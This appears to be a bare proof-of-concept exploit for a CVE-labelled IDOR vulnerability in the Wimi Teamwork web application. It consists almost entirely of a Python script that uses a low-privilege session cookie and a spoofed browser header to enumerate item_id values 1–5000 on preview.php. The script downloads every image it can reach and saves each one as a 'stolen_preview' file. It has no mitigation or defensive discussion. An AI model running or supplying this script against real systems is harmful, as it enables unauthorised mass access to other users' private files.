CVE-2026-35023: Wimi Teamwork IDOR漏洞

import requests # Target URL (Example) target_url = "https://target-domain.com/preview.php" # Attacker's cookie (Low privilege session) cookies = { "PHPSESSID": "valid_attacker_session_id" } # Headers to mimic browser headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } print("[*] Starting IDOR enumeration...") # Loop through sequential item_id values for item_id in range(1, 5000): params = { "item_id": item_id } try: response = requests.get(target_url, params=params, cookies=cookies, headers=headers, timeout=5) # Check if response indicates an image or valid content if response.status_code == 200 and "image" in response.headers.get("Content-Type", ""): print(f"[+] Found sensitive image for item_id: {item_id}") # Save the retrieved file with open(f"stolen_preview_{item_id}.jpg", "wb") as f: f.write(response.content) elif response.status_code == 403 or response.status_code == 404: # Expected behavior for non-existent or restricted (if fixed) items pass except requests.RequestException as e: print(f"[-] Error connecting to server: {e}") break print("[*] Enumeration completed.")